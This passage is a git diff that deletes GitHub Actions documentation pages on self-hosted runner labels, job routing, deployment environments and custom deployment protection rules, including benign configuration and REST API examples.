-{% data reusables.enterprise-accounts.actions-runners-tab %}
-{% data reusables.actions.settings-sidebar-actions-runner-selection %}
-{% data reusables.actions.self-hosted-runner-assign-label-steps %}
-
-{% endif %}
-
-## Removing a custom label from a self-hosted runner
-
-You can remove custom labels from self-hosted runners at the repository{% ifversion ghec or ghes %}, organization, and enterprise{% else %} and organization{% endif %} levels.
-
-* [Removing a custom label from a repository runner](#removing-a-custom-label-from-a-repository-runner)
-* [Removing a custom label from an organization runner](#removing-a-custom-label-from-an-organization-runner){% ifversion ghec or ghes %}
-* [Removing a custom label from an enterprise runner](#removing-a-custom-label-from-an-enterprise-runner){% endif %}
-
-### Removing a custom label from a repository runner
-
-{% data reusables.actions.self-hosted-runner-navigate-to-repo %}
-{% data reusables.actions.self-hosted-runner-remove-label-steps %}
-
-### Removing a custom label from an organization runner
-
-{% data reusables.actions.self-hosted-runner-navigate-to-org %}
-{% data reusables.actions.self-hosted-runner-remove-label-steps %}
-
-{% ifversion ghec or ghes %}
-
-### Removing a custom label from an enterprise runner
-
-{% data reusables.enterprise-accounts.access-enterprise %}
-{% data reusables.enterprise-accounts.policies-tab %}
-{% data reusables.enterprise-accounts.actions-tab %}
-{% data reusables.enterprise-accounts.actions-runners-tab %}
-{% data reusables.actions.settings-sidebar-actions-runner-selection %}
-{% data reusables.actions.self-hosted-runner-remove-label-steps %}
-
-{% endif %}
-
-## Programmatically assign labels
-
-You can programmatically assign labels to a self-hosted runner after the runner is created, or during its initial configuration.
-
-* To programmatically assign labels to an existing self-hosted runner, you must use the REST API. For more information, see [AUTOTITLE](/rest/actions/self-hosted-runners).
-* To programmatically assign labels to a self-hosted runner during the initial runner configuration, you can pass label names to the `config` script using the `labels` parameter.
-
- > [!NOTE]
- > You cannot use the `config` script to assign labels to an existing self-hosted runner.
-
- For example, this command assigns a label named `gpu` when configuring a new self-hosted runner:
-
- ```shell
- ./config.sh --url --token --labels gpu
- ```
-
- The label is created if it does not already exist. You can also use this approach to assign the default labels to runners, such as `x64` or `linux`. When default labels are assigned using the configuration script, {% data variables.product.prodname_actions %} accepts them as given and does not validate that the runner is actually using that operating system or architecture.
-
- You can use comma separation to assign multiple labels. For example:
-
- ```shell
- ./config.sh --url --token --labels gpu,x64,linux
- ```
-
- > [!NOTE]
- > If you replace an existing runner, then you must reassign any custom labels.
diff --git a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/using-self-hosted-runners-in-a-workflow.md b/content/actions/hosting-your-own-runners/managing-self-hosted-runners/using-self-hosted-runners-in-a-workflow.md
deleted file mode 100644
index 0e64a9ed9e9e..000000000000
--- a/content/actions/hosting-your-own-runners/managing-self-hosted-runners/using-self-hosted-runners-in-a-workflow.md
+++ /dev/null
@@ -1,109 +0,0 @@
----
-title: Using self-hosted runners in a workflow
-intro: 'To use self-hosted runners in a workflow, you can use labels or groups to specify the runner for a job.'
-redirect_from:
- - /github/automating-your-workflow-with-github-actions/using-self-hosted-runners-in-a-workflow
- - /actions/automating-your-workflow-with-github-actions/using-self-hosted-runners-in-a-workflow
- - /actions/hosting-your-own-runners/using-self-hosted-runners-in-a-workflow
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-type: tutorial
-shortTitle: Use runners in a workflow
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
-
-You can target self-hosted runners for use in a workflow based on the labels assigned to the runners, or their group membership, or a combination of these.
-
->[!IMPORTANT]Runner Scale Sets do not support multiple labels, only the name of the runner can be used in place of a label. See [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/deploying-runner-scale-sets-with-actions-runner-controller).
-
-## About self-hosted runner labels
-
-Labels allow you to send workflow jobs to specific types of self-hosted runners, based on their shared characteristics. For example, if your job requires a particular hardware component or software package, you can assign a custom label to a runner and then configure your job to only execute on runners with that label.
-
-{% data reusables.actions.self-hosted-runner-labels-runs-on %}
-
-For information on creating custom and default labels, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/using-labels-with-self-hosted-runners).
-
-## About self-hosted runner groups
-
-For self-hosted runners defined at the organization {% ifversion ghec or ghes %}or enterprise levels{% else %}level{% endif %}, you can group your runners with shared characteristics into a single runner group and then configure your job to target the runner group.
-
-To specify a self-hosted runner group for your job, configure `runs-on.group` in your workflow file.
-
-For information on creating and managing runner groups, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners/managing-access-to-self-hosted-runners-using-groups).
-
-{% ifversion repository-actions-runners %}
-
-## Viewing available runners for a repository
-
-{% data reusables.actions.about-viewing-runner-list %}
-
-{% data reusables.repositories.navigate-to-repo %}
-{% data reusables.repositories.actions-tab %}
-{% data reusables.repositories.repository-runners %}
-1. Click the **Self hosted** tab at the top of the list of runners.
-1. Review the list of available self-hosted runners for the repository. This list includes both self-hosted runners and runner scale sets created with {% data variables.product.prodname_actions_runner_controller %}. For more information, see [AUTOTITLE](/actions/hosting-your-own-runners/managing-self-hosted-runners-with-actions-runner-controller/about-actions-runner-controller).
-{% data reusables.actions.copy-runner-label %}
-
-{% data reusables.actions.actions-tab-new-runners-note %}
-
-{% endif %}
-
-## Using default labels to route jobs
-
-A self-hosted runner automatically receives certain labels when it is added to {% data variables.product.prodname_actions %}. These are used to indicate its operating system and hardware platform:
-
-* `self-hosted`: Default label applied to self-hosted runners.
-* `linux`, `windows`, or `macOS`: Applied depending on operating system.
-* `x64`, `ARM`, or `ARM64`: Applied depending on hardware architecture.
-
-You can use your workflow's YAML to send jobs to a combination of these labels. In this example, a self-hosted runner that matches all three labels will be eligible to run the job:
-
-```yaml
-runs-on: [self-hosted, linux, ARM64]
-```
-
-* `self-hosted` - Run this job on a self-hosted runner.
-* `linux` - Only use a Linux-based runner.
-* `ARM64` - Only use a runner based on ARM64 hardware.
-
-To create individual self-hosted runners without the default labels, pass the `--no-default-labels` flag when you create the runner. Actions Runner Controller does not support multiple labels.
-
-## Using custom labels to route jobs
-
-You can create custom labels and assign them to your self-hosted runners at any time. Custom labels let you send jobs to particular types of self-hosted runners, based on how they're labeled.
-
-For example, if you have a job that requires a specific type of graphics hardware, you can create a custom label called `gpu` and assign it to the runners that have the hardware installed. A self-hosted runner that matches all the assigned labels will then be eligible to run the job.
-
-This example shows a job that combines default and custom labels:
-
-```yaml
-runs-on: [self-hosted, linux, x64, gpu]
-```
-
-* `self-hosted` - Run this job on a self-hosted runner.
-* `linux` - Only use a Linux-based runner.
-* `x64` - Only use a runner based on x64 hardware.
-* `gpu` - This custom label has been manually assigned to self-hosted runners with the GPU hardware installed.
-
-These labels operate cumulatively, so a self-hosted runner must have all four labels to be eligible to process the job.
-
-## Using groups to route jobs
-
-{% data reusables.actions.jobs.example-runs-on-groups %}
-
-## Using labels and groups to route jobs
-
-{% data reusables.actions.jobs.example-runs-on-labels-and-groups %}
-
-## Routing precedence for self-hosted runners
-
-When routing a job to a self-hosted runner, {% data variables.product.prodname_dotcom %} looks for a runner that matches the job's `runs-on` labels and groups:
-
-* If {% data variables.product.prodname_dotcom %} finds an online and idle runner that matches the job's `runs-on` labels and groups, the job is then assigned and sent to the runner.
- * If the runner doesn't pick up the assigned job within 60 seconds, the job is re-queued so that a new runner can accept it.
-* If {% data variables.product.prodname_dotcom %} doesn't find an online and idle runner that matches the job's `runs-on` labels and groups, then the job will remain queued until a runner comes online.
-* If the job remains queued for more than 24 hours, the job will fail.
diff --git a/content/actions/index.md b/content/actions/index.md
deleted file mode 100644
index a4fde23af74a..000000000000
--- a/content/actions/index.md
+++ /dev/null
@@ -1,53 +0,0 @@
----
-title: '{% data variables.product.prodname_actions %} documentation'
-shortTitle: '{% data variables.product.prodname_actions %}'
-intro: 'Automate, customize, and execute your software development workflows right in your repository with {% data variables.product.prodname_actions %}. You can discover, create, and share actions to perform any job you''d like, including CI/CD, and combine actions in a completely customized workflow.'
-introLinks:
- overview: /actions/about-github-actions/understanding-github-actions
- quickstart: /actions/writing-workflows/quickstart
-featuredLinks:
- startHere:
- - /actions/writing-workflows
- - /actions/use-cases-and-examples
- - /actions/about-github-actions/about-continuous-integration-with-github-actions
- - /actions/use-cases-and-examples/deploying/deploying-with-github-actions
- - /actions/use-cases-and-examples/publishing-packages/about-packaging-with-github-actions
- - /actions/monitoring-and-troubleshooting-workflows
- guideCards:
- - /actions/writing-workflows/using-workflow-templates
- - /actions/use-cases-and-examples/publishing-packages/publishing-nodejs-packages
- - /actions/use-cases-and-examples/building-and-testing/building-and-testing-powershell
- popular:
- - /actions/writing-workflows/workflow-syntax-for-github-actions
- - /actions/writing-workflows
- - /actions/use-cases-and-examples
-changelog:
- label: actions
-redirect_from:
- - /articles/automating-your-workflow-with-github-actions
- - /articles/customizing-your-project-with-github-actions
- - /github/automating-your-workflow-with-github-actions
- - /actions/automating-your-workflow-with-github-actions
- - /categories/automating-your-workflow-with-github-actions
- - /marketplace/actions
- - /actions/reference
-layout: product-landing
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-children:
- - /about-github-actions
- - /writing-workflows
- - /managing-workflow-runs-and-deployments
- - /sharing-automations
- - /monitoring-and-troubleshooting-workflows
- - /using-github-hosted-runners
- - /hosting-your-own-runners
- - /security-for-github-actions
- - /use-cases-and-examples
- - /migrating-to-github-actions
- - /administering-github-actions
- - /guides
----
-
diff --git a/content/actions/managing-workflow-runs-and-deployments/index.md b/content/actions/managing-workflow-runs-and-deployments/index.md
deleted file mode 100644
index 96d0567b7481..000000000000
--- a/content/actions/managing-workflow-runs-and-deployments/index.md
+++ /dev/null
@@ -1,21 +0,0 @@
----
-title: Managing workflow runs and deployments
-shortTitle: Manage workflows and deployments
-intro: '{% data variables.product.prodname_dotcom %} enables you to have control over your workflow runs and deployments.'
-redirect_from:
- - /actions/configuring-and-managing-workflows/managing-a-workflow-run
- - /articles/managing-a-workflow-run
- - /github/automating-your-workflow-with-github-actions/managing-a-workflow-run
- - /actions/automating-your-workflow-with-github-actions/managing-a-workflow-run
- - /actions/configuring-and-managing-workflows/configuring-and-managing-workflow-files-and-runs
- - /actions/managing-workflow-runs
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-children:
- - /managing-workflow-runs
- - /managing-deployments
----
-
-{% data reusables.actions.enterprise-github-hosted-runners %}
diff --git a/content/actions/managing-workflow-runs-and-deployments/managing-deployments/configuring-custom-deployment-protection-rules.md b/content/actions/managing-workflow-runs-and-deployments/managing-deployments/configuring-custom-deployment-protection-rules.md
deleted file mode 100644
index 25f09394cb6c..000000000000
--- a/content/actions/managing-workflow-runs-and-deployments/managing-deployments/configuring-custom-deployment-protection-rules.md
+++ /dev/null
@@ -1,60 +0,0 @@
----
-title: Configuring custom deployment protection rules
-shortTitle: Configure custom protection rules
-intro: 'Use {% data variables.product.prodname_github_apps %} to automate protecting deployments with third-party systems.'
-product: '{% data reusables.actions.custom-deployment-protection-rules-availability %}'
-versions:
- fpt: '*'
- ghec: '*'
- ghes: '*'
-topics:
- - Actions
- - CD
- - Deployment
-redirect_from:
- - /actions/deployment/protecting-deployments/configuring-custom-deployment-protection-rules
----
-
-{% data reusables.actions.custom-deployment-protection-rules-beta-note %}
-
-## About custom deployment protection rules
-
-Custom deployment protection rules are powered by {% data variables.product.prodname_github_apps %}. Once a deployment protection rule is configured and installed in a repository, it can be enabled for any environments in the repository.
-
-After you enable a custom deployment protection rule on an environment, every time a workflow step targets that environment, the deployment protection rule will run automatically. For more information about targeting an environment for deployments, see [AUTOTITLE](/actions/deployment/targeting-different-environments/managing-environments-for-deployment).
-
-When a custom deployment protection rule is triggered it will wait for up to 30 days for a webhook event response before it times out and the workflow job fails.
-
-For more information about creating your own custom deployment protection rules, see [AUTOTITLE](/actions/deployment/protecting-deployments/creating-custom-deployment-protection-rules).
-
-{% data reusables.actions.custom-deployment-protection-rules-limits %}
-
-## Using existing custom deployment protection rules
-
-You can choose to create your own custom deployment protection rules or you may use any existing custom deployment protection rules.
-
-The following is a list of official partner implementations for deployment protection rules.
-
-* Datadog: you can enforce protection rules on your {% data variables.product.prodname_actions %} deployment workflows using Datadog monitors. For more information, see [Gating your {% data variables.product.prodname_actions %} Deployments with Datadog Monitors](https://docs.datadoghq.com/continuous_integration/guides/github_gating/) in the Datadog documentation.
-* Honeycomb: you can define thresholds to reject or approve deployments based on data you are sending to Honeycomb. For more information, see [the Honeycomb app](https://github.com/apps/honeycomb-io) in the {% data variables.product.prodname_marketplace %}.
-* New Relic: for more information, see [the New Relic app](https://github.com/apps/new-relic-gate) in the {% data variables.product.prodname_marketplace %}.
-* NCM NodeSource: for more information, see [the NCM NodeSource app](https://github.com/apps/ncm-nodesource) in the {% data variables.product.prodname_marketplace %}.
-* Sentry: for more information, see [the Sentry Deployment Gate app](https://github.com/apps/sentry-deployment-gate) in the {% data variables.product.prodname_marketplace %}.
-* ServiceNow: for more information, see [GitHub integration with DevOps Change Velocity](https://www.servicenow.com/docs/bundle/utah-devops/page/product/enterprise-dev-ops/concept/github-integration-dev-ops.html) in the ServiceNow documentation.
-
-## Prerequisites
-
-In order for a custom deployment protection rule to be available to all environments in a repository, you must first install the custom deployment protection rule on the repository. For more information, see [AUTOTITLE](/apps/maintaining-github-apps/installing-github-apps).
-
-After a custom deployment protection rule has been installed in a repository, it must be enabled for each environment where you want the rule to apply.
-
-## Enabling custom deployment protection rules for the environment
-
-{% data reusables.repositories.navigate-to-repo %}
-{% data reusables.repositories.sidebar-settings %}
-{% data reusables.actions.sidebar-environment %}
-1. Select the environment you want to configure.
-1. Under "Deployment protection rules," check the box next to each custom deployment protection rule you want to enable for the environment.
-1. Click **Save protection rules**.
-
-Once a custom deployment protection rule has been enabled for an environment, it will automatically run whenever a workflow reaches a job that references the environment. You can see the results of an approval or rejection for your deployment by reviewing the details of the deployment. For more information, see [AUTOTITLE](/actions/managing-workflow-runs/reviewing-deployments).
diff --git a/content/actions/managing-workflow-runs-and-deployments/managing-deployments/creating-custom-deployment-protection-rules.md b/content/actions/managing-workflow-runs-and-deployments/managing-deployments/creating-custom-deployment-protection-rules.md
deleted file mode 100644
index b8b9bc5b2a1d..000000000000
--- a/content/actions/managing-workflow-runs-and-deployments/managing-deployments/creating-custom-deployment-protection-rules.md
+++ /dev/null
@@ -1,89 +0,0 @@
----
-title: Creating custom deployment protection rules
-shortTitle: Create custom protection rules
-intro: 'Use {% data variables.product.prodname_github_apps %} to automate protecting deployments with third-party systems.'
-product: '{% data reusables.actions.custom-deployment-protection-rules-availability %}'
-versions:
- fpt: '*'
- ghec: '*'
- ghes: '*'
-topics:
- - Actions
- - CD
- - Deployment
-redirect_from:
- - /actions/deployment/protecting-deployments/creating-custom-deployment-protection-rules
----
-
-{% data reusables.actions.custom-deployment-protection-rules-beta-note %}
-
-## About custom deployment protection rules
-
-{% data reusables.actions.about-custom-deployment-protection-rules %}
-
-Custom deployment protection rules are powered by {% data variables.product.prodname_github_apps %} and run based on webhooks and callbacks. Approval or rejection of a workflow job is based on consumption of the `deployment_protection_rule` webhook. For more information, see [AUTOTITLE](/webhooks-and-events/webhooks/webhook-events-and-payloads#deployment_protection_rule) and [Approving or rejecting deployments](#approving-or-rejecting-deployments).
-
-Once you have created a custom deployment protection rule and installed it on your repository, the custom deployment protection rule will automatically be available for all environments in the repository.
-
-## Using custom deployment protection rules to approve or reject deployments
-
-Deployments to an environment can be approved or rejected based on the conditions defined in any external service like an approved ticket in an IT Service Management (ITSM) system, vulnerable scan result on dependencies, or stable health metrics of a cloud resource. The decision to approve or reject deployments is at the discretion of the integrating third-party application and the gating conditions you define in them. The following are a few use cases for which you can create a deployment protection rule.
-
-* ITSM & Security Operations: you can check for service readiness by validating quality, security, and compliance processes that verify deployment readiness.
-* Observability systems: you can consult monitoring or observability systems (Asset Performance Management Systems and logging aggregators, cloud resource health verification systems, etc.) for verifying the safety and deployment readiness.
-* Code quality & testing tools: you can check for automated tests on CI builds which need to be deployed to an environment.
-
-Alternatively, you can write your own protection rules for any of the above use cases or you can define any custom logic to safely approve or reject deployments from pre-production to production environments.
-
-## Creating a custom deployment protection rule with {% data variables.product.prodname_github_apps %}
-
-1. Create a {% data variables.product.prodname_github_app %}. For more information, see [AUTOTITLE](/apps/creating-github-apps/creating-github-apps/creating-a-github-app). Configure the {% data variables.product.prodname_github_app %} as follows.
- 1. Optionally, in the **Callback URL** text field under "Identifying and authorizing users," enter the callback URL. For more information, see [AUTOTITLE](/apps/creating-github-apps/creating-github-apps/about-the-user-authorization-callback-url).
- 1. Under "Permissions," select **Repository permissions**.
- 1. To the right of "Actions," click the drop down menu and select **Access: Read-only**.
- 
- 1. To the right of "Deployments," click the drop down menu and select **Access: Read and write**.
- 
- 1. Under "Subscribe to events," select **Deployment protection rule**.
- 
-
-1. Install the custom deployment protection rule in your repositories and enable it for use. For more information, see [AUTOTITLE](/actions/deployment/protecting-deployments/configuring-custom-deployment-protection-rules).
-
-## Approving or rejecting deployments
-
-Once a workflow reaches a job that references an environment that has the custom deployment protection rule enabled, {% data variables.product.company_short %} sends a `POST` request to a URL you configure containing the `deployment_protection_rule` payload. You can write your deployment protection rule to automatically send REST API requests that approve or reject the deployment based on the `deployment_protection_rule` payload. Configure your REST API requests as follows.
-
-1. Validate the incoming `POST` request. For more information, see [AUTOTITLE](/webhooks-and-events/webhooks/securing-your-webhooks#validating-payloads-from-github).
-1. Use a JSON Web Token to authenticate as a {% data variables.product.prodname_github_app %}. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/authenticating-as-a-github-app#about-authentication-as-a-github-app).
-1. Using the installation ID from the `deployment_protection_rule` webhook payload, generate an install token. For more information, see [AUTOTITLE](/developers/apps/building-github-apps/authenticating-with-github-apps#authenticating-as-a-github-app).
-
- ```shell
- curl --request POST \
- --url "{% data variables.product.rest_url %}/app/installations/INSTALLATION_ID/ACCESS_TOKENS" \
- --header "Accept: application/vnd.github+json" \
- --header "Authorization: Bearer {jwt}" \
- --header "Content-Type: application/json" \
- --data \
- '{ \
- "repository_ids": [321], \
- "permissions": { \
- "deployments": "write" \
- } \
- }'
- ```
-
-1. Optionally, to add a status report without taking any other action to {% data variables.product.prodname_dotcom %}, send a `POST` request to `/repos/OWNER/REPO/actions/runs/RUN_ID/deployment_protection_rule`. In the request body, omit the `state`. For more information, see [AUTOTITLE](/rest/actions/workflow-runs#review-custom-deployment-protection-rules-for-a-workflow-run). You can post a status report on the same deployment up to 10 times. Status reports support Markdown formatting and can be up to 1024 characters long.
-
-1. To approve or reject a request, send a `POST` request to `/repos/OWNER/REPO/actions/runs/RUN_ID/deployment_protection_rule`. In the request body, set the `state` property to either `approved` or `rejected`. For more information, see [AUTOTITLE](/rest/actions/workflow-runs#review-custom-deployment-protection-rules-for-a-workflow-run).
-
-1. Optionally, request the status of an approval for a workflow run by sending a `GET` request to `/repos/OWNER/REPOSITORY_ID/actions/runs/RUN_ID/approvals`. For more information, see [AUTOTITLE](/rest/actions/workflow-runs#get-the-review-history-for-a-workflow-run).
-
-1. Optionally, review the deployment on {% data variables.product.prodname_dotcom %}. For more information, see [AUTOTITLE](/actions/managing-workflow-runs/reviewing-deployments).
-
-{% ifversion fpt or ghec %}
-
-## Publishing custom deployment protection rules in the {% data variables.product.prodname_marketplace %}
-
-You can publish your {% data variables.product.prodname_github_app %} to the {% data variables.product.prodname_marketplace %} to allow developers to discover suitable protection rules and install it across their {% data variables.product.company_short %} repositories. Or you can browse existing custom deployment protection rules to suit your needs. For more information, see [AUTOTITLE](/apps/publishing-apps-to-github-marketplace/github-marketplace-overview/about-github-marketplace) and [AUTOTITLE](/apps/publishing-apps-to-github-marketplace/listing-an-app-on-github-marketplace).
-
-{% endif %}
diff --git a/content/actions/managing-workflow-runs-and-deployments/managing-deployments/index.md b/content/actions/managing-workflow-runs-and-deployments/managing-deployments/index.md
deleted file mode 100644
index 086e954c7298..000000000000
--- a/content/actions/managing-workflow-runs-and-deployments/managing-deployments/index.md
+++ /dev/null
@@ -1,19 +0,0 @@
----
-title: Managing deployments
-shortTitle: Manage deployments
-intro: 'View your deployment history and configure rules to protect your deployments.'
-redirect_from:
- - /actions/deployment/managing-your-deployments
- - /actions/deployment/protecting-deployments
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
-children:
- - /viewing-deployment-history
- - /managing-environments-for-deployment
- - /reviewing-deployments
- - /creating-custom-deployment-protection-rules
- - /configuring-custom-deployment-protection-rules
----
-
diff --git a/content/actions/managing-workflow-runs-and-deployments/managing-deployments/managing-environments-for-deployment.md b/content/actions/managing-workflow-runs-and-deployments/managing-deployments/managing-environments-for-deployment.md
deleted file mode 100644
index 5935717404aa..000000000000
--- a/content/actions/managing-workflow-runs-and-deployments/managing-deployments/managing-environments-for-deployment.md
+++ /dev/null
@@ -1,232 +0,0 @@
----
-title: Managing environments for deployment
-shortTitle: Manage environments
-intro: You can create environments and secure those environments with deployment protection rules. A job that references an environment must follow any protection rules for the environment before running or accessing the environment's secrets.
-product: '{% data reusables.gated-features.environments %}'
-permissions: Repository owners
-redirect_from:
- - /actions/reference/environments
- - /actions/deployment/environments
- - /actions/deployment/using-environments-for-deployment
- - /actions/deployment/targeting-different-environments/using-environments-for-deployment
- - /actions/deployment/targeting-different-environments
- - /actions/deployment/targeting-different-environments/managing-environments-for-deployment
- - /actions/administering-github-actions/managing-environments-for-deployment
-topics:
- - CD
- - Deployment
-versions:
- fpt: '*'
- ghes: '*'
- ghec: '*'
----
-
-
-## About environments
-
-Environments are used to describe a general deployment target like `production`, `staging`, or `development`. When a {% data variables.product.prodname_actions %} workflow deploys to an environment, the environment is displayed on the main page of the repository. For more information about viewing deployments to environments, see [AUTOTITLE](/actions/deployment/managing-your-deployments/viewing-deployment-history).
-
-You can configure environments with protection rules and secrets. When a workflow job references an environment, the job won't start until all of the environment's protection rules pass. A job also cannot access secrets that are defined in an environment until all the deployment protection rules pass.
-
-Optionally, you can bypass an environment's protection rules and force all pending jobs referencing the environment to proceed. For more information, see [AUTOTITLE](/actions/managing-workflow-runs/reviewing-deployments#bypassing-environment-protection-rules).
-
-{% ifversion fpt %}
-
-> [!NOTE]
-> Users with {% data variables.product.prodname_free_user %} plans can only configure environments for public repositories. If you convert a repository from public to private, any configured protection rules or environment secrets will be ignored, and you will not be able to configure any environments. If you convert your repository back to public, you will have access to any previously configured protection rules and environment secrets.
->
-> Organizations with {% data variables.product.prodname_team %} and users with {% data variables.product.prodname_pro %} can configure environments for private repositories. For more information, see [AUTOTITLE](/get-started/learning-about-github/githubs-plans).
-
-{% endif %}
-
-## Deployment protection rules
-
-Deployment protection rules require specific conditions to pass before a job referencing the environment can proceed. You can use deployment protection rules to require a manual approval, delay a job, or restrict the environment to certain branches. You can also create and implement custom protection rules powered by {% data variables.product.prodname_github_apps %} to use third-party systems to control deployments referencing environments configured on {% data variables.product.github %}.
-
-Third-party systems can be observability systems, change management systems, code quality systems, or other manual configurations that you use to assess readiness before deployments are safely rolled out to environments.
-
-{% data reusables.actions.custom-deployment-protection-rules-limits %}
-
-### Required reviewers
-
-Use required reviewers to require a specific person or team to approve workflow jobs that reference the environment. You can list up to six users or teams as reviewers. The reviewers must have at least read access to the repository. Only one of the required reviewers needs to approve the job for it to proceed.
-
-You also have the option to prevent self-reviews for deployments to protected environments. If you enable this setting, users who initiate a deployment cannot approve the deployment job, even if they are a required reviewer. This ensures that deployments to protected environments are always reviewed by more than one person.
-
-For more information on reviewing jobs that reference an environment with required reviewers, see [AUTOTITLE](/actions/managing-workflow-runs/reviewing-deployments).
-
-{% ifversion fpt %}
-
-> [!NOTE]
-> If you are on a {% data variables.product.prodname_free_user %}, {% data variables.product.prodname_pro %}, or {% data variables.product.prodname_team %} plan, required reviewers are only available for public repositories.
-
-{% endif %}
-
-### Wait timer
-
-Use a wait timer to delay a job for a specific amount of time after the job is initially triggered. The time (in minutes) must be an integer between 1 and 43,200 (30 days). Wait time will not count towards your billable time.
-
-{% ifversion fpt %}
-
-> [!NOTE]
-> If you are on a {% data variables.product.prodname_free_user %}, {% data variables.product.prodname_pro %}, or {% data variables.product.prodname_team %} plan, wait timers are only available for public repositories.
-
-{% endif %}
-
-### Deployment branches and tags
-
-Use deployment branches and tags to restrict which branches and tags can deploy to the environment. Below are the options for deployment branches and tags for an environment:
-
-* **No restriction:** No restriction on which branch or tag can deploy to the environment.
-* **Protected branches only:** Only branches with branch protection rules enabled can deploy to the environment. If no branch protection rules are defined for any branch in the repository, then all branches can deploy. For more information about branch protection rules, see [AUTOTITLE](/repositories/configuring-branches-and-merges-in-your-repository/managing-protected-branches/about-protected-branches).
-
- > [!NOTE]
- > Deployment workflow runs triggered by tags with the same name as a protected branch and forks with branches that match the protected branch name cannot deploy to the environment.
-
-* **Selected branches and tags:** Only branches and tags that match your specified name patterns can deploy to the environment.
-
- If you specify `releases/*` as a deployment branch or tag rule, only a branch or tag whose name begins with `releases/` can deploy to the environment. (Wildcard characters will not match `/`. To match branches or tags that begin with `release/` and contain an additional single slash, use `release/*/*`.) If you add `main` as a branch rule, a branch named `main` can also deploy to the environment. For more information about syntax options for deployment branches, see the [Ruby `File.fnmatch` documentation](https://ruby-doc.org/core-2.5.1/File.html#method-c-fnmatch).
-
- {% data reusables.actions.branch-and-tag-deployment-rules-configuration %}
-
-{% ifversion fpt %}
-
-> [!NOTE]
-> Deployment branches and tags are available for all public repositories. For users on {% data variables.product.prodname_pro %} or {% data variables.product.prodname_team %} plans, deployment branches and tags are also available for private repositories.
-
-{% endif %}
-
-### Allow administrators to bypass configured protection rules
-
-By default, administrators can bypass the protection rules and force deployments to specific environments. For more information, see [AUTOTITLE](/actions/managing-workflow-runs/reviewing-deployments#bypassing-environment-protection-rules).
-
-Alternatively, you can configure environments to disallow bypassing the protection rules for all deployments to the environment.
-
-{% ifversion fpt %}
-
-> [!NOTE]
-> Allowing administrators to bypass protection rules is only available for public repositories for users on {% data variables.product.prodname_free_user %}, {% data variables.product.prodname_pro %}, and {% data variables.product.prodname_team %} plans.
-
-{% endif %}
-
-### Custom deployment protection rules
-
-{% data reusables.actions.custom-deployment-protection-rules-beta-note %}
-
-{% data reusables.actions.about-custom-deployment-protection-rules %} For more information, see [AUTOTITLE](/actions/deployment/protecting-deployments/creating-custom-deployment-protection-rules).
-
-Once custom deployment protection rules have been created and installed on a repository, you can enable the custom deployment protection rule for any environment in the repository. For more information about configuring and enabling custom deployment protection rules, see [AUTOTITLE](/actions/deployment/protecting-deployments/configuring-custom-deployment-protection-rules).
-
-{% ifversion fpt %}
-
-> [!NOTE]
-> Custom deployment protection rules are only available for public repositories for users on {% data variables.product.prodname_free_user %}, {% data variables.product.prodname_pro %}, and {% data variables.product.prodname_team %} plans.
-
-{% endif %}
-
-## Environment secrets
-
-Secrets stored in an environment are only available to workflow jobs that reference the environment. If the environment requires approval, a job cannot access environment secrets until one of the required reviewers approves it. For more information about secrets, see [AUTOTITLE](/actions/security-for-github-actions/security-guides/about-secrets).
-
-{% ifversion fpt %}
-> [!NOTE]
-> * Workflows that run on self-hosted runners are not run in an isolated container, even if they use environments. Environment secrets should be treated with the same level of security as repository and organization secrets. For more information, see [AUTOTITLE](/actions/security-guides/security-hardening-for-github-actions#hardening-for-self-hosted-runners).
-> * If you are using {% data variables.product.prodname_free_user %}, environment secrets are only available in public repositories. For access to environment secrets in private or internal repositories, you must use {% data variables.product.prodname_pro %}, {% data variables.product.prodname_team %}, or {% data variables.product.prodname_enterprise %}. For more information on switching your plan, see [AUTOTITLE](/billing/managing-the-plan-for-your-github-account/upgrading-your-accounts-plan).
-
-{% else %}
-
-> [!NOTE]
-> Workflows that run on self-hosted runners are not run in an isolated container, even if they use environments. Environment secrets should be treated with the same level of security as repository and organization secrets. For more information, see [AUTOTITLE](/actions/security-guides/security-hardening-for-github-actions#hardening-for-self-hosted-runners).
-
-{% endif %}
-
-## Environment variables
-
-Variables stored in an environment are only available to workflow jobs that reference the environment. These variables are only accessible using the [`vars`](/actions/learn-github-actions/contexts#vars-context) context. For more information, see [AUTOTITLE](/actions/learn-github-actions/variables).
-
-{% ifversion fpt %}
-
-> [!NOTE]
-> Environment variables are available for all public repositories. For users on {% data variables.product.prodname_pro %} or {% data variables.product.prodname_team %} plans, environment variables are also available for private repositories.
-
-{% endif %}
-
-## Creating an environment
-
-{% data reusables.actions.permissions-statement-environment %}
-
-{% ifversion fpt %}
-
-> [!NOTE]
-> * Creation of an environment in a private repository is available to organizations with {% data variables.product.prodname_team %} and users with {% data variables.product.prodname_pro %}.
-> * Some features for environments have no or limited availability for private repositories. If you are unable to access a feature described in the instructions below, please see the documentation linked in the related step for availability information.
-
-{% endif %}
-
-{% data reusables.repositories.navigate-to-repo %}
-{% data reusables.repositories.sidebar-settings %}
-{% data reusables.actions.sidebar-environment %}
-{% data reusables.actions.new-environment %}
-{% data reusables.actions.name-environment %}
-1. Optionally, specify people or teams that must approve workflow jobs that use this environment. For more information, see [Required reviewers](#required-reviewers).
- 1. Select **Required reviewers**.
- 1. Enter up to 6 people or teams. Only one of the required reviewers needs to approve the job for it to proceed.
- 1. Optionally, to prevent users from approving workflows runs that they triggered, select **Prevent self-review**.
- 1. Click **Save protection rules**.
-1. Optionally, specify the amount of time to wait before allowing workflow jobs that use this environment to proceed. For more information, see [Wait timer](#wait-timer).
- 1. Select **Wait timer**.
- 1. Enter the number of minutes to wait.
- 1. Click **Save protection rules**.
-1. Optionally, disallow bypassing configured protection rules. For more information, see [Allow administrators to bypass configured protection rules](#allow-administrators-to-bypass-configured-protection-rules).
- 1. Deselect **Allow administrators to bypass configured protection rules**.
- 1. Click **Save protection rules**.
-1. Optionally, enable any custom deployment protection rules that have been created with {% data variables.product.prodname_github_apps %}. For more information, see [Custom deployment protection rules](#custom-deployment-protection-rules).
